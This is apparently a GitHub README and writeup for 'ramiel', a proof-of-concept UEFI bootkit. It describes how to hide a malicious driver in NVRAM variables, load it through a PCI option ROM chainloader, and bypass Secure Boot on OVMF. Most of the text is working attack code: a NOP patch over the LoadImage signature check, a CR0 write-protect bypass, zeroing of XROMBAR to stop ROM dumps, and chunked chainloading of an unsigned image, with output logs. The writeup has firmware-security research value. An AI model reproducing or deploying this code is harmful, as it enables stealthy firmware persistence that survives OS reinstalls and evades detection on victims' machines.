Skip to content

uefi diskless persistence technique + OVMF secureboot bypass

Notifications You must be signed in to change notification settings

3intermute/ramiel

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 

Repository files navigation

                                             #
                                          .%%( (
                                       /%%%%%%    *#
                                     ,%%%%%%%%       (
                                  %%%%%%%%%%%%         ,(
                               *%%%%%%%%%%%%%%,           (
                            #&%%%%%%%%%%%%%%%&@@             /
                          #%%%%%%%%%%&@  %%%%  %%%%%%@,        &
                       %%%%%%@.*%%%%%%%%%%%%% (%%%%%%%%%%%%%@     *
                     *%%%%%%%%%%%%%%%%%%%%%%% &&%%%%%%%%%%%%%%%%%%%&*/
                       /@@@@%%%%%%%%%%%%%%%%& %&%%%%%%%%%%%%%%%%%%&,
                         ,#@@@@@@@&%%%%%%%%%&.%&%%%%%%&%%%%%%%%% (
                             @@@@@@@@@@@@%%%& %%%%%%%%%%%%%%%,
                               #@@@@@@@@@@&@% %%%%%%%%%%%%&/
                                  (@@@@@@&@@@ %%%%%%%%%%,
                                    *@@@@@@@@ %%%%%%%//
                                        &@@@@ %%%%%/
                                          /@@*%%*
                                             @


                                    RAMIEL POC WRITEUP
                                    0xwillow, jan 2023


uefi diskless persistence technique + OVMF secureboot bypass

https://cpl0.zip
https://github.com/3intermute/ramiel

featured on black mass vol 2 !!:
https://twitter.com/vxunderground/status/1704194528662409444

<========================================================================================>
abstract:

    the majority of UEFI bootkits persist within the EFI system partition.
    disk persistence is not ideal as it is easily detectable and cannot survive OS
    re-installations and disk wipes. furthermore, for almost all platforms, secureboot is
    configured to check the signatures of images stored on disk before they are loaded.

    more recently, a new technique [6] of persisting in the option rom of PCI cards was
    discovered. the technique allowed bootkits to survive OS re-installations and disk
    wipes. in the past, edk2 configured secureboot to allow unsigned option ROMs to
    execute [8], but this has since been patched for most platforms.
    PCI option rom persistence is not without limitations:
        1. PCI option rom is often small, usually within the range of ~32 - ~128 KB,
           providing little room for complex malware.
        2. PCI option rom can be trivially dumped as it is mapped into memory.

    ramiel attempts to mitigate these flaws. leveraging motherboard NVRAM, it can utilize
    ~256 KB of persistent storage on certain systems, which is greater than what current
    option rom bootkits can utilize.
    it is also difficult to detect ramiel since it prevents option roms from being
    mapped into memory, and as vault7 [7] states:
    "there is no way to enumerate NVRAM variables from the OS... you have to know the
    exact GUID and name of the variable to even determine that it exists."
    additionally, due to a misconfiguration in OVMF, ramiel is able to bypass secureboot
    for certain hypervisors.

<========================================================================================>
implementation details:

0. overview:
------------------------------------------------------------------------------------------
|                                     0.1 overview                                       |
------------------------------------------------------------------------------------------
the order in which sections are presented is the order in which ramiel performs
operations.

1. infection:
1.1 ramiel writes a malicious driver to NVRAM
1.2 ramiel writes chainloader to PCI option rom

2. subsequent boots:
2.3 ramiel patches secureboot check in LoadImage to chainload unsigned malicious driver
2.4 ramiel prevents oprom from being mapped into memory by linux kernel
2.5 chainloader loads the malicious driver from NVRAM


misc:
2.1 OVMF misconfiguration allows for unsigned PCI option roms to execute with secureboot
    enabled
2.2 overview of PCI device driver model
2.6 source debugging OVMF with gdb

initial infection:                                 ┌───────────────────┐
   ┌────────────────┐ ┌►OEM firmware update tool──►│NIC PCI option ROM │
   │dropper         ├─┘                            │                   ├──────┐
   │                │                              │chainloader driver │      │
   │                ├─┐                            │                   │      │
   └────────────────┘ └►SetVariable()──────┐       └───────────────────┘      │
                                           │                                  │
                                           │       ┌───────────────────┐      │
                                           └──────►│NVRAM              │      │
                                                   │                   │      │
                                                   │maliciious driver  │      │
                                                   │(chunks)           ├───┐  │
                                                   └───────────────────┘   │  │
                                                                           │  │
                                                                           │  │
next reboot:         DXE dispatcher loads unsigned chainloader driver      │  │
                     (ignores secureboot violation due to misconfiguration)│  │
                                                                           │  │
                                                                           │  │
                                                                           │  │
                                                      ┌────────────────────┼──┘
                                                      │                    │
                                                      │                    │
                                                      ▼                    │
                                            ┌────────────────┐             │
                                            │chainloader     │             │
                                            │                │             │
                                            │                │             │
                                            └─────────┬──────┘             │
                                                      │                    │
                                                      ▼                    │
                     chainloader: patch secureboot check in CoreLoadImage  │
                     chainloader: zero XROMBAR        │                    │
                                                      │                    │
                                                      │                    │
                                                      │                    │
                                                      ▼                    │
                     chainloader: load malicious driver chunks from NVRAM  │
                                                                           │
                                                      ┌────────────────────┘
                                                      ▼
                                            ┌────────────────┐
                                            │malicious driver│
                                            │                │
                                            │                │
                                            └────────────────┘

------------------------------------------------------------------------------------------
|                                    0.2 bare metal                                      |
------------------------------------------------------------------------------------------
ramiel has not been tested on bare metal although theoretically it should work
with secureboot disabled.


1. infection:
------------------------------------------------------------------------------------------
|                                      1.1 NVRAM                                         |
------------------------------------------------------------------------------------------
on the version of OVMF tested, QueryVariableInfo returned:
    max variable storage:         262044 B, 262 KB
    remaining variable storage:   224808 B, 224 KB
    max variable size:            33732  B,  33 KB

in order to utilize all of 262 KB of NVRAM, the malicious driver must be broken into 33 KB
chunks stored in separate NVRAM variables. since the size of the malicious driver
is unknown to the chainloader, ramiel creates a variable called "guids" storing
the guids of all chunk variables. the guid of the "guids" variable is fixed at
compile time.

example NVRAM layout:
guid of guids (89547266-0460-43b3-9dfc-e4d627e6629) is known by the chainloader

            ┌──guids───89547266-0460-43b3-9dfc-e4d627e6629────┐
    ┌───────┤0eb06226-a02e-49be-bd56-866b328b44a3             │
    │       │                                                 │
    │  ┌────┤c62104c3-0b2a-4c5a-9b1d-17780ebeaf9f             │
    │  │    │                                                 │
    │  │ ┌──┤b0d0f31d-88e0-4cbf-a589-ccc35e4569ab             │
    │  │ │  └─────────────────────────────────────────────────┘
    │  │ │
    │  │ │
    │  │ │
    │  │ │  ┌──0eb06226-a02e-49be-bd56-866b328b44a3──┐
    └──┼─┼─►│<max var size chunk 1 of driver>        │
       │ │  └────────────────────────────────────────┘
       │ │
       │ │
       │ │  ┌──c62104c3-0b2a-4c5a-9b1d-17780ebeaf9f──┐
       └─┼─►│<max var size chunk 2 of driver>        │
         │  └────────────────────────────────────────┘
         │
         │
         │  ┌──b0d0f31d-88e0-4cbf-a589-ccc35e4569ab──┐
         └─►│<max var size chunk 3 of driver>        │
            └────────────────────────────────────────┘

runtime.c excerpt:
``
    struct stat stat;
    int fd = open(argv[3], O_RDONLY);
    fstat(fd, &stat);

    uint8_t *buf = malloc(stat.st_size);
    read(fd, buf, stat.st_size);

    int attributes = EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | \
                     EFI_VARIABLE_RUNTIME_ACCESS;
    efi_guid_t guid;
    efi_str_to_guid(argv[1], &guid);
    ret = efi_set_variable(guid, argv[2], buf, stat.st_size, attributes, 777);
    if (ret != 0) {
        return -1;
    }
``

to write the variables to NVRAM, ramiel uses the libefivar library and its wrapper
for the UEFI runtime service SetVariable:
``
        int efi_set_variable(efi_guid_t guid,
                             const char *name,
                             void *data,
                             size_t data_size,
                             uint32_t attributes);
``

ramiel sets the attributes:
    EFI_VARIABLE_NON_VOLATILE to store the variable in NVRAM,
    EFI_VARIABLE_BOOTSERVICE_ACCESS so the chainloader may access it, and
    EFI_VARIABLE_RUNTIME_ACCESS to ensure the variable has been written.

importantly, EFI_VARIABLE_RUNTIME_ACCESS is unset during subsequent boots to prevent the
variable from being dumped from the OS even if its guid is known.

------------------------------------------------------------------------------------------
|                       1.2 PCI option rom emulation in QEMU                             |
------------------------------------------------------------------------------------------
option rom emulation is qemu is as simple as passing a romfile= param to a
emulated NIC device like so [1]:

``
    -device e1000e,romfile=chainloader.efirom
``

for bare metal, it is usually possible to flash PCI option rom via OEM
firmware update utilities like Intel Ethernet Flash Firmware Utility [9].

ramiel currently does not implement utilizing such utilities to infect virtual
machines that are passed healthy romfiles. ramiel requires an infected romfile to be
passed to qemu.


2. subsequent boots:
------------------------------------------------------------------------------------------
|                        2.1 OVMF policy misconfiguration                                |
------------------------------------------------------------------------------------------
option rom verification behavior is controlled by a PCD value
PcdOptionRomImageVerificationPolicy in the edk2 SecurityPkg package.
the possible values for the PCD are:
``
    ## Pcd for OptionRom.
      #  Image verification policy settings:
      #  ALWAYS_EXECUTE                         0x00000000
      #  NEVER_EXECUTE                          0x00000001
      #  ALLOW_EXECUTE_ON_SECURITY_VIOLATION    0x00000002
      #  DEFER_EXECUTE_ON_SECURITY_VIOLATION    0x00000003
      #  DENY_EXECUTE_ON_SECURITY_VIOLATION     0x00000004
      #  QUERY_USER_ON_SECURITY_VIOLATION       0x00000005
    gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00|UINT32|-
    0x00000001
``

microsoft recommends platforms to set this value to
DENY_EXECUTE_ON_SECURITY_VIOLATION (0x04) [8], however, on the latest version of
edk2 the PCD is set to always execute for many OVMF platforms:
``
    OvmfPkg/OvmfPkgIa32X64.dsc:653:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/AmdSev/AmdSevX64.dsc:525:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/IntelTdx/IntelTdxX64.dsc:512:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/XenPlatformPei/XenPlatformPei.inf:90:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy
...
    OvmfPkg/Microvm/MicrovmX64.dsc:620:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/OvmfPkgIa32.dsc:641:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/Bhyve/BhyveX64.dsc:562:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/CloudHv/CloudHvX64.dsc:622:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/OvmfXen.dsc:508:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
    OvmfPkg/OvmfPkgX64.dsc:674:
        gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
``

ramiel leverages this to bypass secureboot on qemu.

------------------------------------------------------------------------------------------
|                               2.2 PCI driver structure                                 |
------------------------------------------------------------------------------------------
during the dxe phase of EFI, the driver dispatcher will discover and dispatch all drivers
it encounters, including drivers stored in PCI option rom.

from edk2 docs::
"Drivers that follow the UEFI driver model are not allowed to touch any hardware in their
driver entry point. In fact, these types of drivers do very little in their
driver entry point. They are required to register protocol interfaces in the
Handle Database and may also choose to register HII packages in the HII Database..." [13]

register driver binding protocol in DriverEntry:
``
    EFI_DRIVER_BINDING_PROTOCOL gTestDriverBinding = {
        DriverSupported,        DriverStart, DriverStop,
        0x01, NULL,        NULL};

    EFI_STATUS EFIAPI DriverEntry(IN EFI_HANDLE ImageHandle,
                                  IN EFI_SYSTEM_TABLE* SystemTable) {
        gST = SystemTable;
        gBS = SystemTable->BootServices;
        gRT = SystemTable->RuntimeServices;
        gImageHandle = ImageHandle;

        EFI_STATUS status;
        status = EfiLibInstallDriverBindingComponentName2(
                    ImageHandle,         // ImageHandle
                    SystemTable,         // SystemTable
                    &gTestDriverBinding, // DriverBinding
                    ImageHandle,         // DriverBindingHandle
                    NULL, NULL);
        return status;
    }
``

from edk2 docs:
"A PCI driver must implement the EFI_DRIVER_BINDING_PROTOCOL containing the
Supported(), Start(), and Stop() services. The Supported() service evaluates the
ControllerHandle passed in to see if the ControllerHandle represents a PCI device the
PCI driver can manage." [14]

driver supported:
``
    BOOLEAN Checke1000eNIC(EFI_HANDLE Controller,
                           EFI_DRIVER_BINDING_PROTOCOL **This) {
        EFI_STATUS status = EFI_SUCCESS;
        EFI_PCI_IO_PROTOCOL *PciIo;

        PCI_TYPE00 Pci;
        status = gBS->OpenProtocol(Controller, &gEfiPciIoProtocolGuid,
                                   (VOID **) &PciIo, (*This)->DriverBindingHandle,
                                   Controller, EFI_OPEN_PROTOCOL_BY_DRIVER);
        if (EFI_ERROR(status) || PciIo == NULL) {
            return FALSE;
        }
        status = PciIo->Pci.Read(PciIo,                       // (protocol, device)
                                                              // handle
                                 EfiPciIoWidthUint32,         // access width & copy
                                                              // mode
                                 0,                           // Offset
                                 sizeof Pci / sizeof(UINT32), // Count
                                 &Pci                         // target buffer
        );


        gBS->CloseProtocol(Controller, &gEfiPciIoProtocolGuid,
                           (*This)->DriverBindingHandle, Controller);

        if (status == EFI_SUCCESS) {
            if (Pci.Hdr.VendorId == 0x8086 && Pci.Hdr.DeviceId == 0x10d3) {
                return TRUE;
            } else {
                return FALSE;
                }
            }
        return FALSE;
    }

    EFI_STATUS
    EFIAPI
    DriverSupported(IN EFI_DRIVER_BINDING_PROTOCOL *This, IN EFI_HANDLE Controller,
                    IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath) {

        EFI_DEVICE_PATH_PROTOCOL *this = DevicePathFromHandle(Controller);
        if (this == NULL) {
            return EFI_UNSUPPORTED;
        }

        CHAR16 *p = ConvertDevicePathToText(this, TRUE, FALSE);

        if (Checke1000eNIC(Controller, &This)) {
            Print(L"[ramiel]: nic found @ DevicePath: %s\n", p);
            return EFI_SUCCESS;
        } else {
            return EFI_UNSUPPORTED;
        }
    }
``

------------------------------------------------------------------------------------------
|                            2.3 patching secureboot check                               |
------------------------------------------------------------------------------------------
originally, ramiel utilized a manual mapper similar to shim to chainload the
malicious driver without triggering a secureboot violation.
however, it is far simpler to bypass secureboot by patching a check in DxeCore.efi
with nops.

when LoadImage is called on an unsigned image, the debug log in qemu will show
this message:
``
    [Security] 3rd party image[0] can be loaded after EndOfDxe: MemoryMapped(0x0, ...
    DxeImageVerificationLib: Image is not signed and SHA256 hash of image is not found
    in DB/DBX.
    The image doesn't pass verification: MemoryMapped(0x0,0x7D632000,0x7D6340C0)
``

the message is printed by DxeImageVerificationHandler in
SecurityPkg/Library/DxeImageVerificationLib/DxeImageVerificationLib.c:
``
1658>    EFI_STATUS
         EFIAPI
         DxeImageVerificationHandler (
...

1854>        DEBUG((DEBUG_INFO, "DxeImageVerificationLib: \
                    Image is not signed and %s hash of image is not found in DB/DBX.\n",
                    mHashTypeStr));
...
``

setting a breakpoint at DxeImageVerificationHandler entry and backtracing shows:
``
    Thread 1 hit Breakpoint 1, DxeImageVerificationHandler ...
    (gdb) bt
    #0  DxeImageVerificationHandler ...
    #1  0x000000007e2af95b in ExecuteSecurity2Handlers ...
    #2  ExecuteSecurity2Handlers ...
    #3  0x000000007e27b22d in Security2StubAuthenticate ...
    #4  0x000000007ef94dee in CoreLoadImageCommon.constprop.0 ...
        at ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1273
    #5  0x000000007ef7b88e in CoreLoadImage ...
        at ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1542
...
``

ramiel patches this check in CoreLoadImageCommon with nops.

MdeModulePkg/Core/Dxe/Image/Image.c:
``
1136>    EFI_STATUS
         CoreLoadImageCommon (
...

1269>    if (gSecurity2 != NULL) {
         SecurityStatus = gSecurity2->FileAuthentication (
                                      gSecurity2,
                                      OriginalFilePath,
                                      FHand.Source,
                                      FHand.SourceSize,
                                      BootPolicy
                                      );
...

1310>    if (EFI_ERROR (SecurityStatus) && (SecurityStatus != EFI_SECURITY_VIOLATION)) {
             if (SecurityStatus == EFI_ACCESS_DENIED) {
               *ImageHandle = NULL;
             }
             Status = SecurityStatus;
             Image  = NULL;
             goto Done;
         }
1322>
...
``

it is possible to find the address corresponding to a line of code via
setting hardware breakpoints.
setting hardware breakpoints at lines 1269 and 1322 shows the start and end
addresses of the code which ramiel must patch. as there is no ASLR, these
addresses do not change unless DxeCore.efi is recompiled.

``
    hw breakpoint  keep y   <MULTIPLE>
                    y   0x000000007ef94dbd in CoreLoadImageCommon.constprop.0 at
                         ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1269 inf 1
    hw breakpoint  keep y   <MULTIPLE>
                    y   0x000000007ef94eab in CoreLoadImageCommon.constprop.0 at
                        ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1327 inf 1
``

disassembly of check in CoreLoadImageCommon.constprop.0 before patch_sb:
``
    0x000000007ef94dbd <+2721>:	48 8b 05 84 d2 00 00	mov    0xd284(%rip),%rax
    0x000000007ef94dc4 <+2728>:	48 85 c0	            test   %rax,%rax
    0x000000007ef94dc7 <+2731>:	74 6d	                je     0x7ef94e36
    ...
    0x000000007ef94e9f <+2947>:	48 c7 00 00 00 00 00	movq   $0x0,(%rax)
    0x000000007ef94ea6 <+2954>:	e9 90 03 00 00	        jmp    0x7ef9523b
    0x000000007ef94eab <+2959>:	48 83 ec 20	            sub    $0x20,%rsp
``

any write protection implemented via pagetables is bypassed trivially with the
cr0 WP bit trick:
``
    void clear_cr0_wp() {
        AsmWriteCr0(AsmReadCr0() & ~(1UL << 16));
    }

    void set_cr0_wp() {
        AsmWriteCr0(AsmReadCr0() | (1UL << 16));
    }
``

it is possible to pattern scan memory for the check after finding the base
address of DxeCore.efi via enumerating ImageHandles in the handle database.
ramiel simply hardcodes the start and end address of where it should patch:
``
    #define PATCH_START 0x000000007ef94dbdu
    #define PATCH_END 0x000000007ef94eabu
...
    void patch_sb() {
        clear_cr0_wp();
        SetMem((VOID *) PATCH_START, PATCH_END - PATCH_START, 0x90);
        set_cr0_wp();
    }
``

disassembly of check in CoreLoadImageCommon.constprop.0 after patch_sb:
``
    0x000000007ef94dbd <+2721>:	nop
    0x000000007ef94dbe <+2722>:	nop
    0x000000007ef94dbf <+2723>:	nop
    ...
    0x000000007ef94ea9 <+2957>:	nop
    0x000000007ef94eaa <+2958>:	nop
    0x000000007ef94eab <+2959>:	sub    $0x20,%rsp
``

ramiel calls LoadImage successfully on an unsigned image:
qemu debug log:
``
    Loading driver at 0x0007D62F000 EntryPoint=0x0007D63045A helloworld_driver.efi
    InstallProtocolInterface: BC62157E-3E33-4FEC-9920-2D3B36D750DF 7D635798
    ProtectUefiImageCommon - 0x7D635940
      - 0x000000007D62F000 - 0x00000000000020C0
``

------------------------------------------------------------------------------------------
|                               2.4 hide option rom                                      |
------------------------------------------------------------------------------------------
x86sec [1] demonstrated that PCI option roms can be trivially dumped:
``
    $ lspci -vv
    00:04.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
        Subsystem: Intel Corporation 82574L Gigabit Network Connection
...
        Region 0: Memory at c0860000 (32-bit, non-prefetchable) [size=128K]
        Region 1: Memory at c0840000 (32-bit, non-prefetchable) [size=128K]
        Region 2: I/O ports at 6060 [size=32]
        Region 3: Memory at c0880000 (32-bit, non-prefetchable) [size=16K]
        Expansion ROM at 80050000 [disabled] [size=32K]
        Capabilities: <access denied>
        Kernel driver in use: e1000e
        Kernel modules: e1000e
``

``
    $ cd /sys/devices/pci0000:00/0000:00:04.0
    $ echo 1 | sudo tee rom
    $ sudo dd if=rom of=/tmp/oprom.bin
    $ file /tmp/oprom.bin
    /tmp/oprom.bin: BIOS (ia32) ROM Ext. (56*512)
``

however, "There is a kernel boot parameter, pci=norom, that is intended to disable
the kernel's resource assignment actions for Expansion ROMs that do not already
have BIOS assigned address ranges." which "only works if the Expansion ROM BAR is
set to "0" by the BIOS before hand-off." [10]

in order to prevent optiom rom from being dumped, ramiel clears XROMBAR in the PCI
configuration header of the NIC and passes pci=norom to the kernel.

in DriverStart, ramiel opens the EFI_PCI_IO_PROTOCOL associated with the
NIC controller and passes it to clear_oprom_bar:
``
    EFI_PCI_IO_PROTOCOL *PciIo;
    status = gBS->OpenProtocol(Controller, &gEfiPciIoProtocolGuid,
                               (VOID **) &PciIo, This->DriverBindingHandle,
                               Controller, EFI_OPEN_PROTOCOL_BY_DRIVER);
    if (EFI_ERROR(status) || PciIo == NULL) {
       return status;
    }

    status = clear_oprom_bar(PciIo);
``

in clear_oprom_bar, ramiel writes all zeros to the XROMBAR register (offset
0x30 within the PCI configuration headers) of the controller:
``
    UINT32 allones = 0x00000000;
    status = PciIo->Pci.Write(PciIo,                      // protocol
                             EfiPciIoWidthUint32,         // access width
                             0x30,                        // offset of XROMBAR
                             1,                           // count
                             &allones                     // all zeros
    );
``

after, lspci no longer displays the expansion rom field and the rom cannot be
dumped without memory scanning:
``
    00:04.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
        Subsystem: Intel Corporation 82574L Gigabit Network Connection
...
        Region 0: Memory at c0860000 (32-bit, non-prefetchable) [size=128K]
        Region 1: Memory at c0840000 (32-bit, non-prefetchable) [size=128K]
        Region 2: I/O ports at 6060 [size=32]
        Region 3: Memory at c0880000 (32-bit, non-prefetchable) [size=16K]
        Capabilities: <access denied>
        Kernel driver in use: e1000e
        Kernel modules: e1000e
``

------------------------------------------------------------------------------------------
|                           2.5 reassemble chunks + chainload                            |
------------------------------------------------------------------------------------------
to reassemble the malicious driver image, ramiel first calls GetVariable on the "guids"
variable, then calls GetVariable on every guid stored in it and copies the chunks
to a buffer:
+TODO: remove runtime access flag from vars
``
    #define GUIDS_VAR_NAME L"guids"
    #define GUIDS_VAR_GUID {0xBFB35F7E, 0xFC44, 0x41AE, \
                           {0x7C, 0xD9, 0x68, 0xA8, 0x01, 0x02, 0xB9, 0xD0}}

...
    UINTN parse_guids(CHAR16 ***var_names_ptr, UINT8 *buf, UINTN bufsize) {
        UINTN nguids = (bufsize / sizeof(CHAR16)) / GUID_LEN;
        CHAR16 **guids = AllocateZeroPool(nguids * sizeof(CHAR16 *));
        *var_names_ptr = guids;

        for (UINTN i = 0; i < nguids; i++) {
            CHAR16 *tmp = AllocateZeroPool((GUID_LEN * sizeof(CHAR16)) + sizeof(CHAR16));
            guids[i] = tmp;
            CopyMem(tmp,
                    buf + (i * GUID_LEN * sizeof(CHAR16)), GUID_LEN * sizeof(CHAR16));
        }

        return nguids;
    }

    EFI_STATUS
    EFIAPI
    nvram_chainload() {
        EFI_STATUS status;

        UINT8 *buf;
        UINTN bufsize;
        EFI_GUID guids_var_guid = GUIDS_VAR_GUID;
        gRT->GetVariable(
            GUIDS_VAR_NAME,
            &guids_var_guid,
            NULL,
            &bufsize,
            NULL);

        buf = AllocateZeroPool(bufsize);

        gRT->GetVariable(
            GUIDS_VAR_NAME,
            &guids_var_guid,
            NULL,
            &bufsize,
            buf);

        CHAR16 **var_names;
        UINTN nguids = parse_guids(&var_names, buf, bufsize);

        EFI_GUID *guids = AllocateZeroPool(nguids * sizeof(EFI_GUID));

        for (int i = 0; i < nguids; i++) {
            StrToGuid(var_names[i], &guids[i]);
        }

        UINT64 size = 0;
        UINT64 *sizes = AllocateZeroPool(nguids * sizeof(UINT64));

        for (int i = 0; i < nguids; i++) {
            gRT->GetVariable(
                var_names[i],
                &(guids[i]),
                NULL,
                &(sizes[i]),
                NULL
            );
            size += sizes[i];
        }

        UINT8 *application_ptr = AllocatePages(EFI_SIZE_TO_PAGES(size));

        UINT64 offset = 0;
        for (int i = 0; i < nguids; i++) {
            gRT->GetVariable(
                var_names[i],
                &(guids[i]),
                NULL,
                &(sizes[i]),
                application_ptr + offset);
            offset += sizes[i];
        }

        MEMORY_DEVICE_PATH mempath = MemoryDevicePathTemplate;
        mempath.Node1.StartingAddress = (EFI_PHYSICAL_ADDRESS) (UINTN) application_ptr;
        mempath.Node1.EndingAddress = \
                               (EFI_PHYSICAL_ADDRESS) ((UINTN) application_ptr) + size;

        EFI_HANDLE NewImageHandle;
        status = gBS->LoadImage(
            0,
            gImageHandle,
            (EFI_DEVICE_PATH_PROTOCOL *) &mempath,
            application_ptr,
            size,
            &NewImageHandle);
        if (EFI_ERROR(status)) {
            return status;

        }

        status = gBS->StartImage(NewImageHandle, NULL, NULL);
        if (EFI_ERROR(status)) {
            return status;
        }

        return status;
    }
``

then it calls LoadImage on a memory device path pointing to the buffer [12]:
``
    typedef struct {
      MEMMAP_DEVICE_PATH          Node1;
      EFI_DEVICE_PATH_PROTOCOL    End;
    } MEMORY_DEVICE_PATH;

    STATIC CONST MEMORY_DEVICE_PATH  MemoryDevicePathTemplate =
    {
        {
            {
                HARDWARE_DEVICE_PATH,
                HW_MEMMAP_DP,
                {
                    (UINT8)(sizeof (MEMMAP_DEVICE_PATH)),
                    (UINT8)((sizeof (MEMMAP_DEVICE_PATH)) >> 8),
                },
            }, // Header
            0, // StartingAddress (set at runtime)
            0  // EndingAddress   (set at runtime)
        }, // Node1
        {
            END_DEVICE_PATH_TYPE,
            END_ENTIRE_DEVICE_PATH_SUBTYPE,
            { sizeof (EFI_DEVICE_PATH_PROTOCOL), 0 }
        } // End
    };
...
    MEMORY_DEVICE_PATH mempath = MemoryDevicePathTemplate;
    mempath.Node1.StartingAddress = (EFI_PHYSICAL_ADDRESS) (UINTN) application_ptr;
    mempath.Node1.EndingAddress = (EFI_PHYSICAL_ADDRESS) ((UINTN) application_ptr) + size;

    EFI_HANDLE NewImageHandle;
    status = gBS->LoadImage(
        0,
        gImageHandle,
        (EFI_DEVICE_PATH_PROTOCOL *) &mempath,
        application_ptr,
        size,
        &NewImageHandle);
``

com1 log:
``
    [ramiel]: nic found @ DevicePath: PciRoot(0x0)/Pci(0x4,0x0)
    [ramiel]: print_var_info - max_var_storage -> 262044 B
    [ramiel]: print_var_info - remaining_var_storage -> 224808 B
    [ramiel]: print_var_info - max_var_size -> 33732 B
    [ramiel]: DriverStart - vendor id, device id -> 8086, 10D3
    [ramiel]: DriverStart - xrombar -> 0
    [ramiel]: DriverStart - command register -> 7
    [ramiel]: patch_sb - patching secureboot check from -> 7EF94DBD to 7EF94EAB...
    [ramiel]: patch_sb - completed
    [ramiel]: nvram_chainload - guid 02015480-B875-42CC-B73C-7CD6D7A140D5
    [ramiel]: nvram_chainload - LoadImage of target completed
    helloworld !! : D
    [ramiel]: nvram_chainload - StartImage completed
``

------------------------------------------------------------------------------------------
|                           2.6 source debugging OVMF with gdb                           |
------------------------------------------------------------------------------------------
1. follow the debian wiki instructions to setup a vm with secureboot [15]
2. compile OVMF with -D SECURE_BOOT_ENABLE
3. copy OVMF_VARS.fd and OVMF_CODE.fd to the secureboot-vm directory
4. run:
    $ ./start-vm.sh
5. exit the vm, then run:
    $ ./gen_symbol_offsets.sh > gdbscript
    $ ./start-vm.sh -s -S
    $ gdb
    (gdb) source gdbscript
    (gdb) target remote localhost:1234

start-vm.sh [15]
``
    #!/bin/bash

    set -Eeuxo pipefail

    LOG="debug.log"
    MACHINE_NAME="disk"
    QEMU_IMG="${MACHINE_NAME}.img"
    SSH_PORT="5555"
    OVMF_CODE_SECURE="ovmf/OVMF_CODE_SECURE.fd"
    OVMF_VARS_ORIG="/usr/share/OVMF/OVMF_VARS_4M.ms.fd"
    OVMF_VARS_SECURE="ovmf/OVMF_VARS_4M_SECURE.ms.fd"

    if [ ! -e "${QEMU_IMG}" ]; then
            qemu-img create -f qcow2 "${QEMU_IMG}" 8G
    fi

    if [ ! -e "${OVMF_VARS}" ]; then
            cp "${OVMF_VARS_ORIG}" "${OVMF_VARS}"
    fi

    qemu-system-x86_64 \
            -enable-kvm \
            -cpu host -smp cores=4,threads=1 -m 2048 \
            -object rng-random,filename=/dev/urandom,id=rng0 \
            -device virtio-rng-pci,rng=rng0 \
            -net nic,model=virtio -net user,hostfwd=tcp::${SSH_PORT}-:22 \
            -name "${MACHINE_NAME}" \
            -drive file="${QEMU_IMG}",format=qcow2 \
            -vga virtio \
            -machine q35,smm=on \
            -global driver=cfi.pflash01,property=secure,value=on \
            -drive format=raw,file=fat:rw:fs1 \
            -drive if=pflash,format=raw,unit=0,file="${OVMF_CODE_SECURE}",readonly=on \
            -drive if=pflash,format=raw,unit=1,file="${OVMF_VARS_SECURE}" \
            -debugcon file:"${LOG}" -global isa-debugcon.iobase=0x402 \
            -global ICH9-LPC.disable_s3=1 \
            -serial file:com1.log \
            -device e1000e,romfile=chainloader.efirom \
            $@

``

gen_symbol_offsets.sh, adapted from [5]
``
    #!/bin/bash

    LOG="../debug.log"
    PEINFO="peinfo/peinfo"

    cat ${LOG} | grep Loading | grep -i efi | while read LINE; do
      BASE="`echo ${LINE} | cut -d " " -f4`"
      NAME="`echo ${LINE} | cut -d " " -f6 | tr -d "[:cntrl:]"`"
      EFIFILE="`find  <path to edk2>/Build/MdeModule/DEBUG_GCC5/X64 -name ${NAME} \
                -maxdepth 1 -type f`"
      if [ -z "$EFIFILE" ]
      then
          :
      else
          ADDR="`${PEINFO} ${EFIFILE} \
                | grep -A 5 text | grep VirtualAddress | cut -d " " -f2`"
          TEXT="`python -c "print(hex(${BASE} + ${ADDR}))"`"
          SYMS="`echo ${NAME} | sed -e "s/\.efi/\.debug/g"`"
          SYMFILE="`find <path to edk2>/Build/MdeModule/DEBUG_GCC5/X64 -name ${SYMS} \
                    -maxdepth 1 -type f`"
          echo "add-symbol-file ${SYMFILE} ${TEXT}"
      fi
    done
``

<========================================================================================>

references:
[1] https://x86sec.com/posts/2022/09/26/uefi-oprom-bootkit
[2] https://casualhacking.io/blog/2020/1/4/executing-custom-option-rom-on-\
    nucs-and-persisting-code-in-uefi-runtime-services
[3] https:// casualhacking.io/blog/2019/12/3/using-optionrom-to-overwrite-\
    smmsmi-handlers-in-qemu
[4] https://laurie0131.gitbooks.io/memory-protection-in-uefi-bios/content/\
    protection-for-pe-image-uefi.html
[5] https://retrage.github.io/2019/12/05/debugging-ovmf-en.html
[6] http://ftp.kolibrios.org/users/seppe/UEFI/Beyond_BIOS_Second_Edition_\
    Digital_Edition_(15-12-10)%20.pdf
[7] https://wikileaks.org/ciav7p1/cms/page_31227915.html
